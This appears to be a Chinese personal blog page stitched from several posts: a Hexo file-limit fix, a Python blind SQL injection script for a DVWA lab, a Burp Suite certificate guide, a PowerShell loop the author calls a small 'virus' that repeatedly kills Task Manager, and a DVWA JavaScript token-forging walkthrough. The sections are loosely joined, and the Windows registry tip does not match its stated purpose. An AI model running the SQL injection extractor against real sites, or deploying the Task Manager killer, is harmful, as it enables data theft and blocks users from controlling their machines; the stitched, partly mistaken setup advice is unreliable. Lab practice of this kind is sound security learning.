# Hexo 生成网页时文件打开数量限制问题解决方案

最近在尝试使用Hexo做一些简单的网页，如[Casear的信息安全周刊](http://qwerty.casear.cn/)。但昨天想起来[linux中国](https://linux.cn/)归档了全部文章的标准数据集，其中正好有标准的 Markdown 格式的数据，而Hexo正是使用Markdown来生成页面的，就简单尝试了一下。

但在实际生成的时候经常会报 `EMFILE: too many open files` 和 `ERROR Process failed`，这意味着你的应用程序已经打开了太多的文件，超出了操作系统允许的数量限制。查阅教程后发现Linux可以临时增加限制，但windows需要修改注册表，感觉windows上的有点麻烦。但实际操作后发现这两种方法都没有什么实质性改变。
## 在Linux系统中，可以通过以下命令临时增加文件打开的限制：
```
ulimit -n 4096
```
## 在Windows系统中，通常需要修改系统注册表来增加文件打开的限制
但如果使用的是较新的Windows版本（如Windows 10或Windows 11），可以尝试使用 Set-ItemProperty 命令来修改限制：
```
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\FileSystem" -Name "LongPathsEnabled" -Value 1
```

后来查询Hexo的官方文档后发现了 `-c` 参数，命令：在生成博客的时候，使用参数 `-c`，代表生成博客时线程的数量。

```bash
hexo g -c 8
```
使用-c参数后速度和稳定性也会大幅增加，生成基本是一遍过

使用Hexo生成大量页面时卡死问题解决

加入多线程&多进程

## 新版本
```python
import concurrent.futures
import requests
from bs4 import BeautifulSoup


def run_code(demot):
    texterr = "User ID is MISSING from the database."
    base_url = "http://192.168.236.20/dvwa/vulnerabilities/sqli_blind/"
    session_id = "8tuabbh2e1oiv0c2flpn3jbvk4"

    params = {"id": demot, "Submit": "Submit"}
    cookies = {"PHPSESSID": session_id, "security": "low"}

    response = requests.get(base_url, params=params, cookies=cookies)
    print(response.status_code)

    soup = BeautifulSoup(response.text, "html.parser")
    search_results = soup.find_all("pre")
    print(search_results)
    print(demot)
    for result in search_results:
        text = result.text.strip()
        print(text)
        if (text != texterr) and ("User ID exists in the database." in text):
            with open("example.txt", "a") as file:
                file.write(demot + "\n")


# 多线程运行
# if __name__ == "__main__":
#     demots = list(range(1, 200))  # 保存所有需要运行的demot
#     max_threads = 10  # 最大线程数
#     with concurrent.futures.ThreadPoolExecutor(max_workers=max_threads) as executor:
#         for i in range(1, 6):
#             for demo in range(1, 128):
#                 demot = f"1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),{i},1)) = {demo}) #"
#                 executor.submit(run_code, demot)


# 多进程
if __name__ == "__main__":
    max_processes = 60
    with concurrent.futures.ProcessPoolExecutor(max_workers=max_processes) as executor:
        for i in range(1, 6):
            for demo in range(1, 128):
                # demot = f"1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),{i},1)) = {demo}) #"
                demot = f"1'and ord(substr(database(),{i},1))= {demo} #"
                executor.submit(run_code, demot)

```

## 旧版本
```python
import requests
from bs4 import BeautifulSoup

texterr = "User ID is MISSING from the database."
base_url = "http://192.168.236.20/dvwa/vulnerabilities/sqli_blind/"
session_id = "sb35jegkjt33kjgovvptbua022"

for i in range(1, 5):
    for demo in range(1, 128):
        demot = f"1' and ord(substr(database(), {i}, 1)) = {demo} #"
        params = {"id": demot, "Submit": "Submit"}
        cookies = {"PHPSESSID": session_id, "security": "low"}

        response = requests.get(base_url, params=params, cookies=cookies)

        soup = BeautifulSoup(response.text, "html.parser")
        search_results = soup.find_all("pre")
        for result in search_results:
            text = result.text.strip()
            print(demot)
            if (text != texterr) and ("User ID exists in the database." in text):
                with open("example.txt", "a") as file:
                    file.write(demot + "\n")
                break

```
1. 导入了requests和BeautifulSoup模块，分别用于发送HTTP请求和解析HTML页面。<br>
2. 定义了一个错误信息变量texterr，以及目标网站的基本URL和会话ID。<br>
3. 使用嵌套循环，遍历数据库名称1-4的ASCII码。<br>
4. 构造Payload字符串demot，然后将其作为参数发送到目标网址。<br>
5. 从响应中解析出页面内容，然后在页面中查找包含响应文本的标签（pre）的内容。<br>
6. 检查每个找到的结果，如果文本不等于错误信息并且包含指定提示，则将查询字符串写入到文件"example.txt"中，并且停止当前循环。<br>
7. 由于在实际测试中测试Payload会返回一个404响应，但其并不影响页面的返回，故没有设置检查响应码


:::info{title="相关信息"}
新版本使用了`concurrent.futures.ProcessPoolExecutor(max_workers=max_processes) as executor `创建了一个进程池执行器（ProcessPoolExecutor），设置最大工作进程数为`max_processes`

来达到加速测试的效果
:::
以下是对python的多线程和多进程的优劣关系和应用场景的解释
## 多线程（Threading）

### 优点：

- **轻量级**：线程的创建和销毁比进程快，资源消耗较少。
- **共享内存**：线程间可以共享内存，数据传输简单。
- **I/O密集型**：如果爬虫主要受限于网络I/O，多线程可以有效地利用等待时间来执行其他任务。

### 缺点：

- **全局解释器锁（GIL）**：Python的CPython实现中的GIL限制了同一时间只能有一个线程执行，这意味着多线程并不能有效利用多核CPU进行并行计算。
- **资源限制**：操作系统对线程的数量有限制，过多的线程可能导致效率降低。

## 多进程（Multiprocessing）

### 优点：

- **绕过GIL**：每个进程有自己的Python解释器和内存空间，可以绕过GIL的限制，实现真正的并行执行。
- **CPU密集型**：如果爬虫任务是CPU密集型的，多进程可以更好地利用多核处理器。
- **稳定性**：进程间相互独立，一个进程崩溃不会影响其他进程。

### 缺点：

- **资源消耗**：进程的创建和销毁比线程慢，消耗的资源更多。
- **进程间通信（IPC）**：进程间需要通过IPC进行通信，这比线程间共享内存复杂。
- **数据共享**：进程间共享数据不如线程间方便，需要使用特定的IPC机制。

## 选择建议：

- **I/O密集型任务**：如果爬虫主要受限于网络请求和响应时间，多线程可能更合适，因为它可以更有效地利用等待时间。
- **CPU密集型任务**：如果爬虫涉及到大量的数据处理，多进程可能更合适，因为它可以利用多核CPU进行并行处理。
- **爬虫规模**：对于大规模的爬虫，多进程可能更有利于扩展和管理。
- **开发和维护成本**：多线程相对简单，但多进程虽然复杂但更稳定。

DVWA--SQL Injection(Blind)（盲注Python脚本）

![](https://casear.net/static/img/53ba9b06e3bdb49c5e6422e7d31ebef4.image.webp)


# burpsuite ca证书安装
使用Burp Suite做安全测试时，要抓取HTTPS的包的话，是需要有Burp Suite的CA证书的，否则浏览器不支持。<br>
首先要把Burp Suite的CA证书下载到本地<br>
Burp Suite是自带CA证书的，有两种方法把CA证书下载到本地
## 通过浏览器访问https://burp，下载证书<br>
  -     先使用FoxyProxy启用代理，让Burp Suite能抓到浏览器的数据包才能访问https://burp
       ![image.png](/static/img/9d8457cae24a6ad3e2e91901cd72e78d.image.webp)
  -    点击 `CA Certificate`即可下载
      ![](https://casear.net/static/img/53ba9b06e3bdb49c5e6422e7d31ebef4.image.webp)
## 第二种方法则是直接从Burp Suite中导出证书
点开代理设置<br>
![image.png](/static/img/d73d6495b7c6e2e53dfb1761bf67c6cf.image.webp)<br>
选择导入/导出ca证书选项
![image.png](/static/img/2519d93752a208e00f56ea0acdc24ffc.image.webp)<br>
选择导出dra格式的证书<br>

![image.png](/static/img/0c8a5738b02b172e748cc314baec461e.image.webp)<br>
接下来就是选择导出路径和文件名了<br>
![](https://casear.net/static/img/b16f895291fd00be4faa1107ca2d4e9f.image.webp)

## 接下来就是在浏览器中导入证书了
在浏览器设置中搜索证书
![image.png](/static/img/a156a4fc6c19c8409c35e0cd9b7f3c77.image.webp)
打开证书管理器
![image.png](/static/img/9f589e79db47403185344e4da4e2776b.image.webp)
选择导入并信任证书即可
![image.png](/static/img/e2e6169da28a28d94ae905a0328f1f49.image.webp)

导入成功后再抓https的包就不会报错了

burpsuite ca证书安装

轮询关闭进程
如果在死循环中不断查找任务管理器进程，发现它在运行就把它关闭，就可以做一个小小
的“病毒”。代码很简单，基本上一下子就能看懂。一开始我没有加 Sleep，然后 CPU 使用
率飚的非常高，加了之后基本上对电脑性能没有影响了。

```sh
$process_name = "taskmgr"
while ($true) {
 $processes = Get-Process
 if ($processes.Name -contains $process_name) {
 Get-Process $process_name|Stop-Process
 }
 else {
 Start-Sleep -Milliseconds 500
 }

}
```

powerShell script

# JavaScript Attacks (前端攻击)
The attacks in this section are designed to help you learn about how JavaScript is used in the browser and how it can be manipulated. The attacks could be carried out by just analysing network traffic, but that isn't the point and it would also probably be a lot harder.<br>
> 本章节中的攻击旨在帮助您了解如何在浏览器中使用 JavaScript 以及如何对其进行操作，攻击可以通过分析网络流量来实现，但这不是本章节的重点而且可能要困难得多。<br>

Simply submit the phrase "success" to win the level. Obviously, it isn't quite that easy, each level implements different protection mechanisms, the JavaScript included in the pages has to be analysed and then manipulated to bypass the protections.<br>
> 只需提交单词 “success” 即可攻击成功，显然这并不是那么容易。每个级别都实现了不同的保护机制，页面中包含的JavaScript必须经过分析，然后才能绕过保护。<br>


![image.png](/static/img/2fbfdc136f7dd0e3c6c39454a087ee8e.image.webp)



# Low
## 源码
```html
	<form name="low_js" method="post">
		<input type="hidden" name="token" value="" id="token" />
		<label for="phrase">Phrase</label> 
                <input type="text" name="phrase" value="ChangeMe" id="phrase" />
		<input type="submit" id="send" name="send" value="Submit" />
	</form><script>

/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
这里是一个md5编码的函数
*/

!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);


	function rot13(inp) {
		return inp.replace(/[a-zA-Z]/g, function(c) {
			return String.fromCharCode((c <= "Z" ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26);
		});
	}

	function generate_token() {
		var phrase = document.getElementById("phrase").value;
		document.getElementById("token").value = md5(rot13(phrase));
	}

	generate_token();
</script>
```
## 漏洞复现

1. 在页面的源代码中发现插入的js脚本，发现是获取了 ID为`phrase `的输入框的值，
   然后再使用md5进行编码，后赋值给一个ID`token`，来验证token

   最后一行中的`generate_token();`代表着加载完就调用函数，所以这个等级很简单


    ![image.png](/static/img/95118c3896acd59716438b426cdabd96.image.webp)
    先在输入框中输入"success",然后再在控制台调用函数重新编码覆盖旧的token即可
2. 使用burpsuite抓包观察一下
    
   ![image.png](/static/img/362598536e98b0e0e6b0c48c51de93b0.image.webp)
   
    ![image.png](/static/img/6f00f1aab6597c712c458e15ef379858.image.webp)
    ```
    token=8b479aefbd90795395b3e7089ae0dc09&phrase=success&send=Submit
    ```
    发现两次发送的token都一样，这时候观察源码发现有个将value值编码并赋值的函数
    `generate_token();`
    直接在浏览器控制台手动调用函数并传参为要加密的字符
    
    ![image.png](/static/img/1863150548edcfa3ed7e3e8b29ca23a7.image.webp)

    得到token后在burpsuite中修改数据为更新后的token
    
    ![image.png](/static/img/737e84c6e3835a8d29bdb2acfa139162.image.webp)
    最后在返回的第77行得到了成功提示
    
    
# Medium
## 源码
```html
	<form name="low_js" method="post">
		<input type="hidden" name="token" value="" id="token" />
		<label for="phrase">Phrase</label> 
                <input type="text" name="phrase" value="ChangeMe" id="phrase" />
		<input type="submit" id="send" name="send" value="Submit" />
	</form><script src="../../vulnerabilities/javascript/source/medium.js"></script>
```
## 漏洞复现
发现form表单下并没有像 Low 等级中直接写出JavaScript代码，而且引用了一个文件
```js
function do_something(e) {
	for (var t = "", n = e.length - 1; n >= 0; n--) 
        t += e[n];
	return t
}
setTimeout(function() {
	do_elsesomething("XX")
}, 300);

function do_elsesomething(e) {
	document.getElementById("token")
		.value = do_something(e + document.getElementById("phrase")
			.value + "XX")
}
```
生成 token 的函数被放在单独的js文件中，生成的方式是将 "XX" + phrase 变量的值 + "XX"字符串反转作为 token。
```js
do_something(e + document.getElementById("phrase").value + "XX")
```
![](https://casear.net/static/img/385f8e27c5086e2abb6a432eb632ff2c.image.webp)
在控制台中将这段加密部分打印出来

再用burpsuite查看传过去的token

![image.png](/static/img/49a36a0cdf224f15fa7dfb5c54a9a942.image.webp)

解题思路和上一等级一样，调用函数生成新的token，再进行发送即可通关

![image.png](/static/img/4274c1462f9ba884a61205a78b5def7f.image.webp)

![image.png](/static/img/78111552ec10b45eae2c2429f9bc7c92.image.webp)

# High
## 源码
```html
	<form name="low_js" method="post">
		<input type="hidden" name="token" value="" id="token" />
		<label for="phrase">Phrase</label> 
                <input type="text" name="phrase" value="ChangeMe" id="phrase" />
		<input type="submit" id="send" name="send" value="Submit" />
	</form><script src="../../vulnerabilities/javascript/source/high.js"></script>
        
```
## 漏洞复现

![image.png](/static/img/762ec9481b8420d91485582a5027be85.image.webp)
继续查看引入的js文件，发现被混淆过，使用[还原工具](http://deobfuscatejavascript.com/#)得到源码
```js

function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}
function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
    token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
```
由于执行 `token_part_2("XX")` 有 300 毫秒延时，所以 `token_part_1("ABCD", 44)` 会被先执行，而 `token_part_3()` 则是和提交按钮的 `click` 事件一起执行。

攻击方式#
和前面的思路差不多，依次执行 `token_part_1("ABCD", 44)` 和 `oken_part_2("XX")`，最后点击提交执行 `token_part_3()`。


![image.png](/static/img/a634701a98a681955271104b06012075.image.webp)

![image.png](/static/img/be134335258e6d30661f66528060bdf7.image.webp)

# Impossible

![image.png](/static/img/a7493708024d89e06b97b917afdfa083.image.webp)

:::tip{title="提示"}
你永远无法相信来自用户的任何信息，也无法阻止用户对其进行干扰，因此不存在不可能达到的水平。
:::

DVWA靶场--JavaScript Attacks (前端攻击)

script

msvalidate.01

link

如果你有机会到好望角，请在海边的石头上刻下我的故事👨‍💻